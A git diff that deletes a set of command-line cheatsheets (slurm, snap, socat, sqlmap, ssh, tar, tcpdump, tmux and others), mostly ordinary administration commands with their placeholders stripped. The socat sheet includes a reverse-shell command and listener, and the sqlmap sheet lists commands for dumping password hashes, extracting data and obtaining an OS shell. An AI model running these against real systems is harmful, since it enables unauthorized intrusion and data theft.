index 853a6c9..0000000 --- a/assets/cheatsheets/slurm +++ /dev/null @@ -1,15 +0,0 @@ -# To submit a new job: -sbatch job.sh - -# To list all jobs for a user: -squeue -u - -# To cancel a job by id or name: -scancel -scancel --name - -# To list all information for a job: -scontrol show jobid -dd - -# To status info for currently running job: -sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j --allsteps diff --git a/assets/cheatsheets/smbclient b/assets/cheatsheets/smbclient deleted file mode 100644 index 1f1817c..0000000 --- a/assets/cheatsheets/smbclient +++ /dev/null @@ -1,5 +0,0 @@ -# To display public shares on the server: -smbclient -L -U% - -# To connect to a share: -smbclient /// -U% diff --git a/assets/cheatsheets/snap b/assets/cheatsheets/snap deleted file mode 100644 index bcad6fa..0000000 --- a/assets/cheatsheets/snap +++ /dev/null @@ -1,101 +0,0 @@ ---- -tags: [ packaging ] ---- -# To find : -snap find - -# To view detailed information about : -snap info - -# To view all private snaps (must be logged in): -snap find --private - -# To install the : -sudo snap install - -# To install the from the "beta" channel: -sudo snap install --channel=beta - -# To view installed snaps: -snap list - -# To list all revisions of installed snaps: -snap list --all - -# To (manually) update all snaps: -sudo snap refresh - -# To (manually) update : -sudo snap refresh - -# To update to the "beta" channel: -sudo snap refresh --channel=beta - -# To revert to a prior version: -sudo snap revert - -# To revert to revision 5: -snap revert --revision 5 - -# To remove : -sudo snap remove - -# To log in to snap (must first create account online): -sudo snap login - -# To log out of snap: -snap logout - -# To view a transaction log summary: -snap changes - -# To view details of item 123 in the transaction log: -snap change 123 - -# To watch transaction 123: -snap watch 123 - -# To abort transaction 123: -snap abort 123 - -# To download (and its assertions) *without* installing it: -snap download - -# To install the locally-downloaded `foo` snap with assertions: -snap ack foo.assert -snap install foo.snap - -# To install the locally-downloaded `foo` snap without assertions: -# NB: this is dangerous, because the integrity of the snap will not be -# verified. You should only do this to test a snap that you are currently -# developing. -snap install --dangerous foo.snap - -# To install snap `foo` in "dev mode": -# NB: this is dangerous, and bypasses the snap sandboxing mechanisms -snap install --devmode foo - -# To install snap `foo` in "classic mode": -# NB: this is likewise dangerous -snap install --classic foo - -# To view available snap interfaces: -snap interfaces - -# To connect the `foo:camera` plug to the ubuntu core slot: -snap connect foo:camera :camera - -# To disconnect the `foo:camera` plug from the ubuntu core slot: -snap disconnect foo:camera - -# To disable the `foo` snap -snap disable foo - -# To enable the `foo` snap -snap enable foo - -# To set snap `foo`'s `bar` property to 10: -snap set foo bar=10 - -# To read snap `foo`'s current `bar` property: -snap get foo bar diff --git a/assets/cheatsheets/snmpwalk b/assets/cheatsheets/snmpwalk deleted file mode 100644 index a2f9cd7..0000000 --- a/assets/cheatsheets/snmpwalk +++ /dev/null @@ -1,5 +0,0 @@ -# To retrieve all of the variables under system for host zeus: -snmpwalk -Os -c public -v 1 zeus system - -# To retrieve the scalar values, but omit the sysORTable for host zeus: -snmpwalk -Os -c public -v 1 -CE sysORTable zeus system diff --git a/assets/cheatsheets/socat b/assets/cheatsheets/socat deleted file mode 100644 index 2d28600..0000000 --- a/assets/cheatsheets/socat +++ /dev/null @@ -1,40 +0,0 @@ ---- -tags: [ networking ] ---- -# socat connect to http-server (port 80 on 'butzel.info') -socat TCP4:butzel.info:80 - - -# connect to https-server (port 443 on 'butzel.info' with tls) -socat openssl:butzel.info:443 - - -# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions -socat -x tcp-listen:3180,fork - - -# practical examples: - -# complete real working http-example: -# (sleep is necessary to prevent socat closing socket before data received) -(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \ -| socat tcp4:butzel.info:80 - - -# http to httpS 'Proxy' (for an webserver without TLS-Support) -socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80 - -# port forwarding (e.g. own port 3180 to port 22(ssh) on target -socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh - -# TOR-forwarding (needs tor-daemon on port 9050 running) -socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050 - -# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200) -socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200 - -# udp to tcp -socat -u udp-recvfrom:1234,fork tcp:localhost:4321 - -# reverse shell: -socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180 - -# listener for above reverse shell (on remote.butzel.info): -socat file:`tty`,raw,echo=0 tcp-listen:3180 -# or: nc -lp 3180 diff --git a/assets/cheatsheets/sockstat b/assets/cheatsheets/sockstat deleted file mode 100644 index ecbc4ff..0000000 --- a/assets/cheatsheets/sockstat +++ /dev/null @@ -1,5 +0,0 @@ ---- -tags: [ networking ] ---- -# To view which users/processes are listening to which ports: -sudo sockstat -l diff --git a/assets/cheatsheets/sort b/assets/cheatsheets/sort deleted file mode 100644 index 652ab29..0000000 --- a/assets/cheatsheets/sort +++ /dev/null @@ -1,11 +0,0 @@ -# To sort a file: -sort - -# To sort a file by keeping only unique: -sort -u - -# To sort a file and reverse the result: -sort -r - -# To sort a file randomly: -sort -R diff --git a/assets/cheatsheets/split b/assets/cheatsheets/split deleted file mode 100644 index bd19c1e..0000000 --- a/assets/cheatsheets/split +++ /dev/null @@ -1,8 +0,0 @@ -# To split a large text file into smaller files of 1000 lines each: -split -l 1000 - -# To split a large binary file into smaller files of 10M each: -split -b 10M - -# To consolidate split files into a single file: -cat x* > diff --git a/assets/cheatsheets/sport b/assets/cheatsheets/sport deleted file mode 100644 index 62b5896..0000000 --- a/assets/cheatsheets/sport +++ /dev/null @@ -1,35 +0,0 @@ ---- -tags: [ packaging ] ---- -# To sync to newest slackbuild.org tree: -sport r - -# to search (fuzzy) slackbuild tree for packages foo and bar: -sport s foo bar - -# To operate from alternate build tree: -SBOPATH=/path/to/tree sport s foo - -# to view info and readme of bar (not fuzzy): -sport c foo BaR - -# To build a package: -sport i --build-only foo - -# to build and install package foo and bar: -sport i foo BaR - -# To build and install package from current directory: -sport i . - -# To upgrade instead of install: -INSTALLER=upgradepkg sport i foo - -# To build dependency list for baz: -echo "foo bar" >> /tmp/baz.list - -# To install list of packages from file: -sport i $(< /tmp/baz.list) - -# To check if package is installed: -sport k foo diff --git a/assets/cheatsheets/sqlite3 b/assets/cheatsheets/sqlite3 deleted file mode 100644 index 2dcbb39..0000000 --- a/assets/cheatsheets/sqlite3 +++ /dev/null @@ -1,29 +0,0 @@ ---- -tags: [ database ] ---- -# To create database and launch interactive shell: -sqlite3 - -# To create table: -sqlite3 "create table os(id integer primary key, name text, year integer);" - -# To insert data: -sqlite3 "insert into 'os' values(1,'linux',1991);" - -# To list tables: -sqlite3 ".tables" - -# To describe table: -sqlite3 ".schema 'os'" - -# To view records in table: -sqlite3 "select * from 'os';" - -# To view records in table conditionally: -sqlite3 "select * from 'os' where year='1991';" - -# To view records with fuzzy matching: -sqlite3 "select * from 'os' where year like '19%';" - -# To create a table named `cities` and import a csv into it: -sqlite3 ".import /path/to/city.csv cities" diff --git a/assets/cheatsheets/sqlmap b/assets/cheatsheets/sqlmap deleted file mode 100644 index aa704cb..0000000 --- a/assets/cheatsheets/sqlmap +++ /dev/null @@ -1,48 +0,0 @@ ---- -tags: [ database ] ---- -# Test URL and POST data and return database banner (if possible) -./sqlmap.py --url="" --data="" --banner - -# Parse request data and test | request data can be obtained with burp -./sqlmap.py -r - -# Fingerprint | much more information than banner -./sqlmap.py -r --fingerprint - -# Get database username, name, and hostname -./sqlmap.py -r --current-user --current-db --hostname - -# Check if user is a database admin -./sqlmap.py -r --is-dba - -# Get database users and password hashes -./sqlmap.py -r --users --passwords - -# Enumerate databases -./sqlmap.py -r --dbs - -# List tables for one database -./sqlmap.py -r -D --tables - -# Other database commands -./sqlmap.py -r -D --columns - --schema - --count -# Enumeration flags -./sqlmap.py -r -D - -T - -C - -U - -# Extract data -./sqlmap.py -r -D -T -C --dump - -# Execute SQL Query -./sqlmap.py -r --sql-query="" - -# Append/Prepend SQL Queries -./sqlmap.py -r --prefix="" --suffix="" - -# Get backdoor access to sql server | can give shell access -./sqlmap.py -r --os-shell diff --git a/assets/cheatsheets/ss b/assets/cheatsheets/ss deleted file mode 100644 index f4da8cc..0000000 --- a/assets/cheatsheets/ss +++ /dev/null @@ -1,18 +0,0 @@ ---- -tags: [ networking ] ---- -Args --4/-6 list ipv4/ipv6 sockets --n numeric addresses instead of hostnames --l list listing sockets --u/-t/-x list udp/tcp/unix sockets --p Show process(es) that using socket - -# show all listening tcp sockets including the corresponding process -ss -tlp - -# show all sockets connecting to 192.168.2.1 on port 80 -ss -t dst 192.168.2.1:80 - -# show all ssh related connection -ss -t state established '( dport = :ssh or sport = :ssh )' diff --git a/assets/cheatsheets/ssh b/assets/cheatsheets/ssh deleted file mode 100644 index 357177f..0000000 --- a/assets/cheatsheets/ssh +++ /dev/null @@ -1,53 +0,0 @@ ---- -tags: [ ssh ] ---- -# To ssh via pem file (which normally needs 0600 permissions): -ssh -i @ - -# To connect on a non-standard port: -ssh -p @ - -# To connect and forward the authentication agent: -ssh -A @ - -# To execute a command on a remote server: -ssh -t @ 'the-remote-command' - -# To connect to a host with a specific key exchange algorithm: -# Full list of available algorithms : man ssh_config -ssh -oKeXAlgorithms=+diffie-hellman-group-exchange-sha1 @ - -# To tunnel an x session over SSH: -ssh -X @ - -# Redirect traffic with a tunnel between local host (port 8080) and a remote -# host (remote.example.com:5000) through a proxy (personal.server.com): -ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N - -# To launch a specific x application over SSH: -ssh -X -t @ 'chromium-browser' - -# To create a SOCKS proxy on localhost and : -ssh -qND @ - -# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999: -ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" @ - -# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish: -ssh @ -C -c blowfish -X - -# For more information, see: -# http://unix.stackexchange.com/q/12755/44856 - -# To copy files and folders through ssh from remote host to pwd with tar.gz -# compression when there is no rsync command available: -ssh @ "cd /var/www/Shared/; tar zcf - asset1 asset2" | tar zxf - - -# To mount folder/filesystem through SSH -# Install SSHFS from https://github.com/libfuse/sshfs -# Will allow you to mount a folder securely over a network. -sshfs @:/path/to/folder /path/to/mount/point - -# Emacs can read file through SSH -# Doc: http://www.gnu.org/software/emacs/manual/html_node/emacs/Remote-Files.html -emacs /ssh:@: diff --git a/assets/cheatsheets/ssh-add b/assets/cheatsheets/ssh-add deleted file mode 100644 index f1758e4..0000000 --- a/assets/cheatsheets/ssh-add +++ /dev/null @@ -1,23 +0,0 @@ ---- -tags: [ ssh ] ---- -# To add private key: -ssh-add - -# To load resident keys from FIDO2 authenticator: -ssh-add -K - -# To store a GitHub SSH passphrase in your keychain: -ssh-add -K ~/.ssh/github_rsa - -# To list all public keys: -ssh-add -L - -# To list fingerprints of all keys: -ssh-add -l - -# To delete key: -ssh-add -d - -# To delete all keys: -ssh-add -D diff --git a/assets/cheatsheets/ssh-copy-id b/assets/cheatsheets/ssh-copy-id deleted file mode 100644 index bc11311..0000000 --- a/assets/cheatsheets/ssh-copy-id +++ /dev/null @@ -1,11 +0,0 @@ ---- -tags: [ ssh ] ---- -# To copy your keys listed in `ssh-add -L` to a remote host: -ssh-copy-id @ - -# To copy the keys to a remote host on a non-standard port: -ssh-copy-id @ -p 2222 - -# To copy one single public key to a remote host on a non-standard port: -ssh-copy-id -i ~/.ssh/a_public_key.pub "username@host -p 2222" diff --git a/assets/cheatsheets/ssh-keygen b/assets/cheatsheets/ssh-keygen deleted file mode 100644 index fb549e6..0000000 --- a/assets/cheatsheets/ssh-keygen +++ /dev/null @@ -1,36 +0,0 @@ ---- -tags: [ ssh ] ---- -# To generate an SSH key: -ssh-keygen -t rsa - -# To generate a 4096-bit SSH key: -ssh-keygen -t rsa -b 4096 - -# To generate a FIDO/U2F token-backed key: -ssh-keygen -t ed25519-sk - -# To generate a FIDO2 resident key: -ssh-keygen -t ed25519-sk -O resident - -# To update a passphrase on a key: -ssh-keygen -p -P -N -f - -# To remove a passphrase on a key: -ssh-keygen -p -P -N '' -f - -# To generate a 4096 bit RSA key with a passphase and comment containing the user and hostname: -ssh-keygen -t rsa -b 4096 -C "$USER@$HOSTNAME" -P - -# To print the fingerprint of a public key: -ssh-keygen -lf - -# To print the Github-style (MD5) fingerprint of a public key: -ssh-keygen -E md5 -lf - -# To download resident keys from a FIDO2 authenticator to the current directory: -ssh-keygen -K - -# To view the public key associated with a private key: -ssh-keygen -y -f > -ssh-keygen -y -f ~/.ssh/private-key > ~/.ssh/public-key.pub diff --git a/assets/cheatsheets/stdout b/assets/cheatsheets/stdout deleted file mode 100644 index 43535e9..0000000 --- a/assets/cheatsheets/stdout +++ /dev/null @@ -1,13 +0,0 @@ -# To redirect stderr to stdout: -some-command 2>&1 - -# To redirect stdout to : -some-command > - -# To redirect stderr to : -some-command 2> - -# To redirect all output (stderr and stdout) to file: -some-command > 2>&1 - -# Replace with `/dev/null` to silence output diff --git a/assets/cheatsheets/strace b/assets/cheatsheets/strace deleted file mode 100644 index 70f20de..0000000 --- a/assets/cheatsheets/strace +++ /dev/null @@ -1,23 +0,0 @@ -# To strace a command: -strace - -# To save the trace to a file: -strace -o - -# To follow only the open() system call: -strace -e trace=open - -# To follow all the system calls which open a file: -strace -e trace=file - -# To follow all the system calls associated with process management: -strace -e trace=process - -# To follow child processes as they are created: -strace -f - -# To count time, calls and errors for each system call: -strace -c - -# To trace a running process (multiple PIDs can be specified): -strace -p diff --git a/assets/cheatsheets/su b/assets/cheatsheets/su deleted file mode 100644 index 286941c..0000000 --- a/assets/cheatsheets/su +++ /dev/null @@ -1,2 +0,0 @@ -# To switch to another user account: -su diff --git a/assets/cheatsheets/sudo b/assets/cheatsheets/sudo deleted file mode 100644 index 3078d87..0000000 --- a/assets/cheatsheets/sudo +++ /dev/null @@ -1,2 +0,0 @@ -# Preserve user environment when running command -sudo -E diff --git a/assets/cheatsheets/svn b/assets/cheatsheets/svn deleted file mode 100644 index 5271851..0000000 --- a/assets/cheatsheets/svn +++ /dev/null @@ -1,23 +0,0 @@ ---- -tags: [ vcs ] ---- -# To Update working copy from repository: -svn update "/path" - -# To Show changed files in working copy: -svn status - -# To Show what changed in local file: -svn diff "/path/filename" - -# To Add files or folders: -svn add "path/item" - -# To Revert local uncommited changes: -svn revert "/path/file" - -# To Commit changes to repo: -svn commit -m "message" "/path" - -# To Show help for 'svn diff': -svn help diff diff --git a/assets/cheatsheets/systemctl b/assets/cheatsheets/systemctl deleted file mode 100644 index ae0b8b7..0000000 --- a/assets/cheatsheets/systemctl +++ /dev/null @@ -1,70 +0,0 @@ -# To see running processes: -systemctl - -# To check the status of a service: -systemctl status foo.service - -# To start/restart/stop a service: -systemctl start/restart/stop foo.service - -# To reload a service's configuration: -systemctl reload foo.service - -# To edit a service's configuration: -systemctl edit foo.service - -# To reload systemd manager configuration: -systemctl daemon-reload - -# To enable a service to startup on boot: -systemctl enable foo.service - -# To disable a service to startup on boot: -systemctl disable foo.service - -# To start/restart/stop per-user service: -systemctl --user start/restart/stop emacs.service - -# To see all active units, add --all for everything: -systemctl list-units - -# To see all service units: -systemctl list-units -at service - -# To see filtered units (all running service): -systemctl list-units -t service --state running - -# To see all service files, see which are enabled or disabled: -systemctl list-unit-files -at service - -# To list all units with specific status, inactive, active, enabled, running, exited: -systemctl list-units --all --state=inactive - -# To use systemctl to list all unit files: -systemctl list-unit-files - -# To see log items from the most recent boot: -journalctl -b - -# To to see only kernal messages, add -b for at the most recent boot: -journalctl -k - -# To get the log entries for a service since boot: -journalctl -b -u foo.service - -# To list the dependencies of a service: -# when no service name is specified, lists the dependencies of default.target -# add -all to expand dependencies recursively -systemctl list-dependencies foo.service - -# To see low level details of a service settings on the system: -systemctl show foo.service - -# To list currently loaded targets: -systemctl list-units --type=target - -# To change current target: -systemctl isolate foo.target - -# To change default target: -systemctl enable foo.target diff --git a/assets/cheatsheets/systemd b/assets/cheatsheets/systemd deleted file mode 100644 index 21daa87..0000000 --- a/assets/cheatsheets/systemd +++ /dev/null @@ -1,18 +0,0 @@ -# To display process startup time: -systemd-analyze - -# To display process startup time at service level: -systemd-analyze blame - -# To list running units: -systemctl list-units - -# To load a unit at startup: -systemctl enable foo.service - -# To start or Stop a unit: -systemctl foo.service - -# To unit file locations: -/etc/systemd/system -/usr/lib/systemd/system diff --git a/assets/cheatsheets/tail b/assets/cheatsheets/tail deleted file mode 100644 index dfc5b7b..0000000 --- a/assets/cheatsheets/tail +++ /dev/null @@ -1,14 +0,0 @@ -# To show the last 10 lines of : -tail - -# To show the last lines of : -tail -n - -# To show the last lines of starting with : -tail -n + - -# To show the last bytes of : -tail -c - -# To show the last 10 lines of and to wait for to grow: -tail -f diff --git a/assets/cheatsheets/tar b/assets/cheatsheets/tar deleted file mode 100644 index 10937da..0000000 --- a/assets/cheatsheets/tar +++ /dev/null @@ -1,40 +0,0 @@ ---- -tags: [ compression ] ---- -# To extract an uncompressed archive: -tar -xvf /path/to/foo.tar - -# To extract a .tar in specified directory: -tar -xvf /path/to/foo.tar -C /path/to/destination/ - -# To create an uncompressed archive: -tar -cvf /path/to/foo.tar /path/to/foo/ - -# To extract a .tgz or .tar.gz archive: -tar -xzvf /path/to/foo.tgz -tar -xzvf /path/to/foo.tar.gz - -# To create a .tgz or .tar.gz archive: -tar -czvf /path/to/foo.tgz /path/to/foo/ -tar -czvf /path/to/foo.tar.gz /path/to/foo/ - -# To list the content of an .tgz or .tar.gz archive: -tar -tzvf /path/to/foo.tgz -tar -tzvf /path/to/foo.tar.gz - -# To extract a .tar.bz2 archive: -tar -xjvf /path/to/foo.tar.bz2 - -# To create a .tar.bz2 archive: -tar -cjvf /path/to/foo.tar.bz2 /path/to/foo/ - -# To list the content of an .tar.bz2 archive: -tar -tjvf /path/to/foo.tar.bz2 - -# To create a .tgz archive and exclude all jpg,gif,... from the tgz -tar -czvf /path/to/foo.tgz --exclude=\*.{jpg,gif,png,wmv,flv,tar.gz,zip} /path/to/foo/ - -# To use parallel (multi-threaded) implementation of compression algorithms: -tar -z ... -> tar -Ipigz ... -tar -j ... -> tar -Ipbzip2 ... -tar -J ... -> tar -Ipixz ... diff --git a/assets/cheatsheets/tarsnap b/assets/cheatsheets/tarsnap deleted file mode 100644 index f57905d..0000000 --- a/assets/cheatsheets/tarsnap +++ /dev/null @@ -1,23 +0,0 @@ ---- -tags: [ compression ] ---- -# Perform a backup of two directories -tarsnap -c -f /usr/home /other/stuff/to/backup - -# Print how much data would be uploaded -tarsnap -c -f --dry-run --print-stats - -# Copy an archive (only accesses metadata) -tarsnap -c -f @@ - -# List the archives -tarsnap --list-archives - -# Delete an archive -tarsnap -d -f - -# List the files in an archive -tarsnap -tv -f - -# Restore two users' home directories from an archive (use no leading slashes) -tarsnap -x -f usr/home/alice usr/home/bob diff --git a/assets/cheatsheets/tcpdump b/assets/cheatsheets/tcpdump deleted file mode 100644 index dda1650..0000000 --- a/assets/cheatsheets/tcpdump +++ /dev/null @@ -1,66 +0,0 @@ -# TCPDump is a packet analyzer. It allows the user to intercept and display TCP/IP -# and other packets being transmitted or received over a network. (cf Wikipedia). -# Note: 173.194.40.120 => google.com - -# Intercepts all packets on eth0 -tcpdump -i eth0 - -# Intercepts all packets from/to 173.194.40.120 -tcpdump host 173.194.40.120 - -# Intercepts all packets on all interfaces from / to 173.194.40.120 port 80 -# -nn => Disables name resolution for IP addresses and port numbers. -tcpdump -nn -i any host 173.194.40.120 and port 80 - -# Make a grep on tcpdump (ASCII) -# -A => Show only ASCII in packets. -# -s snaplen => Capture only snaplen bytes of data from each packet. -# By default, tcpdump captures 262144 bytes. -# Packets truncated because of a limited snapshot are indicated in the -# output with '[|protocol]'. -tcpdump -i any -A host 173.194.40.120 and port 80 | grep 'User-Agent' - -# With ngrep -# -d eth0 => To force eth0 (else ngrep work on all interfaces) -# -s0 => force ngrep to look at the entire packet. (Default snaplen: 65536 bytes) -ngrep 'User-Agent' host 173.194.40.120 and port 80 - -# Intercepts all packets on all interfaces from / to 8.8.8.8 or 173.194.40.127 on port 80 -tcpdump 'host ( 8.8.8.8 or 173.194.40.127 ) and port 80' -i any - -# Intercepts all packets SYN and FIN of each TCP session. -tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0' - -# To display SYN and FIN packets of each TCP session to a host that is not on our network -tcpdump 'tcp[tcpflags] & (tcp-syn|tcp-fin) != 0 and not src and dst net local_addr' - -# To display all IPv4 HTTP packets that come or arrive on port 80 and that contain only data (no SYN, FIN no, no packet containing an ACK) -tcpdump 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' - -# Saving captured data -tcpdump -w file.cap - -# Reading from capture file -tcpdump -r file.cap - -# Show content in hexa -# Change -x to -xx => show extra header (ethernet). -tcpdump -x - -# Show content in hexa and ASCII -# Change -X to -XX => show extra header (ethernet). -tcpdump -X - -# Note on packet maching: -# Port matching: -# - portrange 22-23 -# - not port 22 -# - port ssh -# - dst port 22 -# - src port 22 -# -# Host matching: -# - dst host 8.8.8.8 -# - not dst host 8.8.8.8 -# - src net 67.207.148.0 mask 255.255.255.0 -# - src net 67.207.148.0/24 diff --git a/assets/cheatsheets/tee b/assets/cheatsheets/tee deleted file mode 100644 index 4a9c0bd..0000000 --- a/assets/cheatsheets/tee +++ /dev/null @@ -1,8 +0,0 @@ -# To tee stdout to : -ls | tee - -# To tee stdout and append to : -ls | tee -a - -# To tee stdout to the terminal, and also pipe it into another program for further processing: -ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n" diff --git a/assets/cheatsheets/terraform b/assets/cheatsheets/terraform deleted file mode 100644 index 15863a0..0000000 --- a/assets/cheatsheets/terraform +++ /dev/null @@ -1,30 +0,0 @@ ---- -tags: [ orchestration, iac ] ---- -# Initialize this configuration. - -terraform init - -# Reformat configuration in the standard style - -terraform fmt - -# Check whether the configuration is valid - -terraform validate - -# Apply terraform configuration - -terraform apply - -# Delete applied terraform configuration - -terraform destroy - -# To upgrade your [Terraform providers](https://www.terraform.io/docs/providers/index.html), which are distributed separately from the Terraform binary. - -terraform init -upgrade - -# To upgrade your [Terraform modules](https://www.terraform.io/docs/modules/index.html), which are distributed separately from the Terraform binary. - -terraform get -update diff --git a/assets/cheatsheets/tidy b/assets/cheatsheets/tidy deleted file mode 100644 index db84bc7..0000000 --- a/assets/cheatsheets/tidy +++ /dev/null @@ -1,2 +0,0 @@ -# Enable indentation, wrap lines at column 160, messages to stdout: -tidy -i -wrap 160 -o output.html input.html diff --git a/assets/cheatsheets/tmux b/assets/cheatsheets/tmux deleted file mode 100644 index 80a90a3..0000000 --- a/assets/cheatsheets/tmux +++ /dev/null @@ -1,55 +0,0 @@ -# To start tmux: -tmux - -# To detach from tmux: -Ctrl-b d - -# To restore tmux session: -tmux attach - -# To detach an already attached session (great if you are moving devices with different screen resolutions): -tmux attach -d - -# To display session: -tmux ls - -# To rename session: -Ctrl-b $ - -# To switch session: -Ctrl-b s - -# To start a shared session: -tmux -S /tmp/your_shared_session -chmod 777 /tmp/your_shared_session - -# To help screen (Q to quit): -Ctrl-b ? - -# To scroll in window: -Ctrl-b PageUp/PageDown - -# To reload configuration file -Ctrl-b : source-file /path/to/file - -# To create a window: -Ctrl-b c - -# To go next window: -Ctrl-b n - -# To destroy a window: -Ctrl-b x - -# To switch between windows: -Ctrl-b [0-9] -Ctrl-b Arrows - -# To split windows horizontally: -Ctrl-b % - -# To split windows vertically: -Ctrl-b " - -# To swap windows: -Ctrl-b :swap-window -s [0-9] -t [0-9] diff --git a/assets/cheatsheets/top b/assets/cheatsheets/top deleted file mode 100644 index 022fa66..0000000 --- a/assets/cheatsheets/top +++ /dev/null @@ -1,26 +0,0 @@ -# To update every samples: -top -i - -# To set the delay between updates to seconds: -top -s - -# To set event counting to accumulative mode: -top -a - -# To set event counting to delta mode: -top -d - -# To set event counting to absolute mode: -top -e - -# To not calculate statistics on shared libraries, also known as frameworks: -top -F - -# To calculate statistics on shared libraries, also known as frameworks (default): -top -f - -# To print command line usage information and exit: -top -h - -# To order the display by sorting on in descending order: -top -o diff --git a/assets/cheatsheets/tr b/assets/cheatsheets/tr deleted file mode 100644 index 13a9b80..0000000 --- a/assets/cheatsheets/tr +++ /dev/null @@ -1,22 +0,0 @@ -# To replace : with a new line: -echo $PATH | tr ":" "\n" -echo $PATH | tr -t ":" \n - -# To remove all occurance of "ab": -echo aabbcc | tr -d "ab" # ouput: cc - -# To complement "aa": -# ("Complement" means to keep "aa", and replace all others with "x") -echo aabbccd | tr -c "aa" x # output: aaxxxxx (no newline) - -# To complement "ab\n": -echo aabbccd | tr -c "ab\n" x #output: aabbxxx (with newline) - -# To preserve all alpha(-c). ":-[:digit:] etc" will be translated to "\n". sequeeze mode: -echo $PATH | tr -cs "[:alpha:]" "\n" - -# To convert an ordered list to an unordered list: -echo "1. /usr/bin\n2. /bin" | tr -cs " /[:alpha:]\n" "+" - -# To remove all NULLs: -tr < file-with-nulls -d '\000' > file-without-nulls diff --git a/assets/cheatsheets/trashy b/assets/cheatsheets/trashy deleted file mode 100644 index 101c6c9..0000000 --- a/assets/cheatsheets/trashy +++ /dev/null @@ -1,14 +0,0 @@ -# To trash foo and bar: -trash foo bar - -# To trash "foo bar": -trash foo\ bar - -# To list files in trash: -trash -v --list - -# To restore foo from trash: -trash --restore foo - -# To empty trash: -trash --empty diff --git a/assets/cheatsheets/tree b/assets/cheatsheets/tree deleted file mode 100644 index a0d1254..0000000 --- a/assets/cheatsheets/tree +++ /dev/null @@ -1,14 +0,0 @@ -# To display a recursive directory tree: -tree - -# To make tree output contents from : -tree - -# To make tree omit any empty directories from the output: -tree --prune - -# To make tree list *all* files and directories, even hidden ones: -tree -a - -# To list directories only (`-d`), and at a max depth of two levels (`-L`): -tree -d -L 2 diff --git a/assets/cheatsheets/truncate b/assets/cheatsheets/truncate deleted file mode 100644 index 557c69c..0000000 --- a/assets/cheatsheets/truncate +++ /dev/null @@ -1,10 +0,0 @@ -# To clear the contents from : -truncate -s 0 - -# To truncate to 100 bytes: -truncate -s 100 - -# To truncate to 100 KB: -truncate -s 100K - -# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.) diff --git a/assets/cheatsheets/udisksctl b/assets/cheatsheets/udisksctl deleted file mode 100644 index c4d5233..0000000 --- a/assets/cheatsheets/udisksctl +++ /dev/null @@ -1,11 +0,0 @@ -# To get info about a device: -udisksctl info -b - -# To mount a device: -udisksctl mount --block-device - -# To unmount a device: -udisksctl unmount --block-device - -# To get help: -udisksctl help diff --git a/assets/cheatsheets/ulimit b/assets/cheatsheets/ulimit deleted file mode 100644 index 57e9680..0000000 --- a/assets/cheatsheets/ulimit +++ /dev/null @@ -1,5 +0,0 @@ -# Report all current limits -ulimit -a - -# Unlimited file descriptors -ulimit -n unlimited diff --git a/assets/cheatsheets/uname b/assets/cheatsheets/uname deleted file mode 100644 index c52ff68..0000000 --- a/assets/cheatsheets/uname +++ /dev/null @@ -1,27 +0,0 @@ -# To print all system information: -uname -a -# Linux system-hostname 3.2.0-4-amd64 #1 SMP Debian 3.2.32-1 x86_64 GNU/Linux - -# To print the hostname: -uname -n -# system-hostname - -# To print the kernel release: -uname -r -# 3.2.0-4-amd64 - -# To print the kernel version, with more specific information: -uname -v -# #1 SMP Debian 3.2.32-1 - -# To print the hardware instruction set: -uname -m -# x86_64 - -# To print the kernel name: -uname -s -# Linux - -# To print the operating system: -uname -o -# GNU/Linux diff --git a/assets/cheatsheets/uniq b/assets/cheatsheets/uniq deleted file mode 100644 index a1ee3d7..0000000 --- a/assets/cheatsheets/uniq +++ /dev/null @@ -1,18 +0,0 @@ -# To show all lines without duplication: -# (`sort -u` and `uniq` have the same effect.) -sort | uniq - -# To show not duplicated lines: -sort | uniq -u - -# To show duplicated lines only: -sort | uniq -d - -# To count all lines: -sort | uniq -c - -# To count not duplicated lines: -sort | uniq -uc - -# To count only duplicated lines: -sort | uniq -dc diff --git a/assets/cheatsheets/unzip b/assets/cheatsheets/unzip deleted file mode 100644 index bf141ec..0000000 --- a/assets/cheatsheets/unzip +++ /dev/null @@ -1,14 +0,0 @@ ---- -tags: [ compression ] ---- -# To extract an archive: -unzip - -# To extract an archive to a specific directory: -unzip -d - -# To test integrity of archive: -unzip -tq - -# To list files and directories an archive: -unzip -l diff --git a/assets/cheatsheets/uptime b/assets/cheatsheets/uptime deleted file mode 100644 index f0b501c..0000000 --- a/assets/cheatsheets/uptime +++ /dev/null @@ -1,26 +0,0 @@ ---- -tags: [ system reporting ] ---- - -# syntax of the command -uptime [option] - -# single use, with output example -uptime - -, , , , - -14:05:11 up 6:05, 1 user, load average: 0.46, 0.54, 0.55 - -# Filter the result to only show running time -uptime -p - -# Filter the result to only show the date/time from when the system has been running -uptime -s - -# Show the version of uptime -uptime -V - -# Show the help page -uptime -h - diff --git a/assets/cheatsheets/urpm b/assets/cheatsheets/urpm deleted file mode 100644 index 61b2064..0000000 --- a/assets/cheatsheets/urpm +++ /dev/null @@ -1,17 +0,0 @@ ---- -tags: [ packaging ] ---- -# To search (fuzzy) : -urpmq -Y - -# To check if is installed: -rpm -q - -# To install : -urpmi - -# To download without installing it: -urpmi --no-install - -# To uninstall : -urpme diff --git a/assets/cheatsheets/usermod b/assets/cheatsheets/usermod deleted file mode 100644 index 8d228f8..0000000 --- a/assets/cheatsheets/usermod +++ /dev/null @@ -1,2 +0,0 @@ -# Add user to sudo group -sudo usermod -aG 